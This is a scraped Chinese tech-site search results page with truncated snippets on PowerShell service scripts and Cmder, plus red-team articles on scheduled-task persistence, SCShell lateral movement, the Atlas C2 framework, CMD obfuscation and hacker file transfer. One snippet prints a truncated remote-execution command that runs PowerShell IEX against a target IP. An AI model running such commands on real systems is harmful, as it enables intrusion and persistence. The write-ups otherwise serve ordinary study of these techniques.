首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

生成ANSI格式的.ps1

需求:生成ANSI格式的.ps1,实现检查开机的时候windows time服务是否启动状态,不是的话启动它。...get-service w32time).status -ne 'Running'){start-service w32time -EA 0} powershell -command xxx 如果 Command 的值脚本块...,则脚本块必须用括号({})括起来 如果是在cmd中,则还需要代码块加双引号,例如"代码块"或者"& ({代码块})" 同样的代码在cmd和powershell中可能有不一样的效果 这句命令在powershell...-ne 'Running'){start-service w32time -EA 0}})" 打算创建开机计划任务检查windows time服务是否Running状态,不是的话启动cmd.exe...,要特别注意,比如cmd.exe /c type nul>c:\w32time.ps1,本来用cmd.exe /c echo %date% %time%>c:\w32time.ps1创建的文件是ANSI

11110
您找到你想要的搜索结果了吗?
是的
没有找到

使用Cmder替换cmd,让开发更高效

配置右键快捷启动: 以管理员身份打开cmd,执行以下命令即可,完了以后在任意地方点击右键即可使用cmder // 设置任意地方鼠标右键启动Cmder Cmder.exe /REGISTER ALL 鼠标右键启动...的一些常用快捷键 Tab 自动路径补全 Ctrl+T 建立新页签 Ctrl+W 关闭页签 Ctrl+Tab 切换页签 Alt+F4 关闭所有页签 Alt+Shift+1 开启cmd.exe...Alt+Shift+2 开启powershell.exe Alt+Shift+3 开启powershell.exe (系统管理员权限) Ctrl+1 快速切换到第1个页签 Ctrl+n...关闭页签 Ctrl+Tab 切换页签 Alt+F4 关闭所有页签 Alt+Shift+1 开启cmd.exe Alt+Shift+2 开启powershell.exe Alt...切换到全屏状态 Ctr+r 历史命令搜索 Win+Alt+P 开启工具选项视窗 五、关于中文乱码问题: 将下面的4行命令添加到cmder/config/aliases文件末尾,如果还是不行参考前面字体设置

1.7K30

利用计划任务进行权限维持的几种姿势

有效负载可以磁盘或远程位置执行,它们可以是可执行文件、powershell脚本或scriptlet的形式。...Meterpreter – 持久性计划任务 也可以在系统启动期间或用户会话处于非活动状态(空闲模式)时执行。...持续性–计划任务日期和时间 如果目标事件启用了事件日志记录,则可以在特定的Windows事件中触发任务。b33f在他的网站上演示了此技术。Windows事件命令行实用程序可用于查询事件ID。...通过检查名称和提供的参数,此功能可用于验证调度任务命令。...此命令可用于主机的态势感知期间,并确定是否存在可以修改以运行有效负载而不是创建新任务的现有计划任务。

2.7K20

091031 T PowerShell Solution

2.在安装目录下,打到exe,右键属性,设置以管理员启动。 3.(此步骤开启UAC的系统使用)编译:PowerShellAgent.exe。(如果已经有了,不用再次编译。)    ...而powershell.execmd.exe等进程是OS自带的,不能设置默认以管理员运行。所以这里创建一个新的exe,代理到powershell.exe。然后再设置此程序默认以管理员运行即可。...(此步骤开启UAC的系统使用)找到PowerShellAgent.exe,右键属性,设置以管理员启动。 5....(此步骤开启UAC的系统使用)以管理员身份运行cmd命令关联默认的.ps1文件程序PowerShellAgent.exe。...(此步骤未开启UAC的系统使用)运行cmd命令关联默认的.ps1文件程序PowerShell.exe

78160

CMD的最佳“代替品”

Cmder完全代替cmd操作,我们需要设置系统环境变量: 配置系统环境变量 打开“系统环境变量”,在用户变量栏的“Path”中添加Cmder的目录 image.png Win+R运行Cmder: 配置右键启动...自动路径补全 Ctrl+T 建立新页签 Ctrl+W 关闭页签 Ctrl+Tab 切换页签 Alt+F4 关闭所有页签 Alt+Shift+1 开启cmd.exe...Alt+Shift+2 开启powershell.exe Alt+Shift+3 开启powershell.exe (系统管理员权限) Ctrl+1 快速切换到第1个页签 Ctrl+n...关闭页签 Ctrl+Tab 切换页签 Alt+F4 关闭所有页签 Alt+Shift+1 开启cmd.exe Alt+Shift+2 开启powershell.exe Alt...+Shift+3 开启powershell.exe (系统管理员权限) Ctrl+1 快速切换到第1个页签 Ctrl+n 快速切换到第n个页签( n值无上限) Alt + enter

1.7K20

APT的思考: CMD命令混淆高级对抗

常用来混淆命令的特殊字符主要有以下四种: 1.字符“^”是CMD命令中最常见的转义字符,该字符不影响命令的执行。...如果需要把它们作为字符输出的话,就需要对这些特殊字符做转义处理:在每个特殊字符前加上转义字符^。举个例子:echo ^>、echo ^|、echo ^|^|、echo ^^ 和c^m^d。 ?...offset 默认下标0开始,offset也支持负数,表示反向遍历字符串的下标。举个例子:通过%comspec%截取出cmd.exe。 ?...assoc:文件名扩展关联命令,用于显示和设置文件名扩展关联,可以指定某种后缀名的文件按照特定的类型文件打开或执行。命令格式: assoc [.ext[=[fileType]]] ?...命令格式: ftype [fileType[=[openCommandString]] ?

2.6K50

横向移动--SCshell使用Service Manager进行无文件横向移动

一旦进程获取了正确的身份验证,即可使用OpenSCManagerA远程打开目标主机上Service Manager ? 使用OpenServiceA API打开远程服务并抛出错误 ?...那么上面的代码就是调用ChangeServiceConfigA来将二进制路径名设置我们提供的有效负载(就是执行我们的lpBinaryPathName中的值,) 可利用点就是在这个位置,原理不难理解,就是...例如调用powershell来远程加载木马或执行命令等等。 最后就是通过StartServiceA启动服务。 ? 代码不难理解。...shell scshell.exe 10.10.10.10 defragsvc "C:\windows\system32\cmd.exe /c powershell.exe IEX(New-Object...原理出发,举一反三就好 5.日志痕迹 使用用户凭证连接会在目标日志系统留下用户名、来访机器IP和服务超时等信息 ? ?

1.4K30

神兵利器 - C2框架Atlas

的exe后,直接执行Teamserver.exe即可启动teamserver 启动/管理监听器 要启动新的侦听器,请使用StartListener命令。...此命令有两个参数:侦听器名称和要运行的端口 该Listeners命令列出所有侦听器,ViewListener返回指定侦听器的数据,RemoveListener并可用于列表中删除侦听器 与主机连接...PSShell打开一个新的运行空间并执行命令,因此即使powershell.exe被列入黑名单,PowerShell 命令仍然可以执行。此方法还绕过约束语言模式。...CMDShell打开一个cmd.exe进程并将命令传递给进程。上面显示了执行 PowerShell 命令,因此这里也不会显示。...关于 的旁注CMDShell,许多执行的常见命令包括(但不限于)whoami、ipconfig、pwd 和 cd 已被实现到植入功能中,以避免需要通过cmd.exe进程执行此类命令

1.3K40

TotalCommander 设置 VisualStudio 开发者命令

在使用 TotalCommnader 可以设置工具的快捷图标,可以用来启动一些工具。...此时通过开始菜单,搜寻 Developer Command Prompt 右击打开所在文件夹,可以找到快捷方式 右击快捷方式找到启动项 %comspec% /k "C:\Program Files (x86...Enterprise\Common7\Tools\VsDevCmd.bat" 我是使用 VisualStudio 2019 企业版,如果是其他的版本,那么上面的代码和我不相同 这里的 %comspec% 的意思就是 cmd.exe...\WindowsPowerShell\v1.0\powershell.exe -noe -c "&{Import-Module """C:\Program Files (x86)\Microsoft Visual...注意我使用 VisualStudio 2019 企业版,如果是其他的版本,那么上面的代码和我不相同 将上面代码的 C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

78910

针对黑客的Windows文件传输总结

1.4攻击者的HTTP服务器下载文件:cmd.exe 借助 PowerShell 示例,我们可以使用一种技术,它允许我们 cmd.exe 提示符执行 PowerShell 命令。...要从 cmd.exe 提示符执行 PowerShell 命令,请使用“ powershell.exe -c ”启动命令,后跟要执行的 PowerShell 命令,并用双引号引起来。...例如,如果我们在 cmd.exe 提示符下立足,并且就地 PowerShell 升级正在终止我们的 shell,我们可以再次使用 Nishang 的脚本,但这次附加“ powershell.exe -c...PowerShell 命令前面添加powershell -c并将其用双引号引起来,我们可以 cmd.exe 提示符执行它: powershell.exe -c "(New-Object System.Net.WebClient... PS1 脚本和二进制文件 (EXE) 设置目录允许我们将它们攻击者计算机直接执行到受害者的内存中。最重要的是,这是不需要下载文件或将文件传输给受害者来完成的。

47911

FireEye发布调查报告,混淆技术成为了2017年攻击者最喜欢用的技术之一

下图显示的是我们使用FIN8宏解码器恶意宏 “COMPLAINTHomer Glynn.doc” 中提取出来的FIN8环境变量命令。 ?...因此,WinWord.exe将不会生成子进程,但系统将会生成如下进程树:wmiprvse.exe > cmd.exe > powershell.exe。...最后,他们还使用了一个cmd.exe支持的字符替换功能,而这个功能几乎很少有人知道。wscript.exe命令也被设置在了一个进程级环境变量“x”之中,但使用了字符“@”来进行混淆处理。...在这个样本中,FIN7使用了FIN8通过StdIn传递命令的技术,但这一次FIN7并没有将命令发送给powershell.exe,而是发送给了cmd.exe,不过两种方式的逃逸效果是一样的。...这种技术会暴露前三个cmd.exe命令执行参数,如果这些环境变量设置在LNK或宏文件中并通过StdIn传递到了cmd.exe之中,那么命令行界面将不会出现任何数据。

1.1K70
领券